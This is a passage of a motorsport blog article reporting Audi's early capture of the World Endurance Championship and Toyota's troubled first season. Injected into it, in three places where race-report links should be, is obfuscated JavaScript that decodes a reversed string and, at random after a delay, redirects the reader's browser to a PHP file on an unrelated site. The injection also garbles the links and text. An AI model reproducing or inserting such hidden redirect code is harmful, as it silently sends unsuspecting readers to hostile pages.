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Well, that didn’t take very long. Four events in to an eight-race championship and Audi have already secured the inaugural World Endurance Championship, their whopping 111-point margin to nearest manufacturer rivals Toyota already insurmountable.
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Mind you, there can’t have been many in the Silverstone grandstands who were surprised by the result. Audi – already a formidable contender on the endurance racing scene with six $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/le-mans-24hrs-a-crankandpiston-pov/” target=”_blank”>Le Mans 24hrs victories in the past seven years – went into the season as red-hot favourites, despite the gap back to longtime rivals Peugeot had not been quite as extensive as it once was. The French firm withdrawing its WEC entry at the eleventh hour knackered any chance of a competitive season though.
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True, hope that the season could still produce a shock result or two still lay with newboys Toyota, providing everything, absolutely everything went their way. The fact that series organisers had arrived at Toyota’s door on bended knee, pleading with them to bring their campaign plans forward by twelve months immediately put the Japanese marque on the back foot. Missing the opening round in $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/sebring-12-hrs-alms-wec-round-1-untouchable/” target=”_blank”>Sebring hardly helped, nor did the team’s enormous testing shunt at $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/wec-spa-francorchamps-round-2-tick-tick-and-tick/” target=”_blank”>Spa that crippled their chance of making its season debut that same weekend. All this meant that a fairytale dark horse story for Toyota was never really on the cards. Still, there’s always next year.
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As for Audi, its Silverstone weekend started much as it had done the previous three times: good runs through free practice followed by pole position with a comfortable margin, even if Toyota and the Rebellion Racing boys ran them closer than they’d have expected. Not close enough though, with Andre Lotterer, Marcel Fässler and Benoit Tréluyer in the #1 R18 e-tron quattro enjoying a trouble-free opening stint and steadily cantering into the distance.
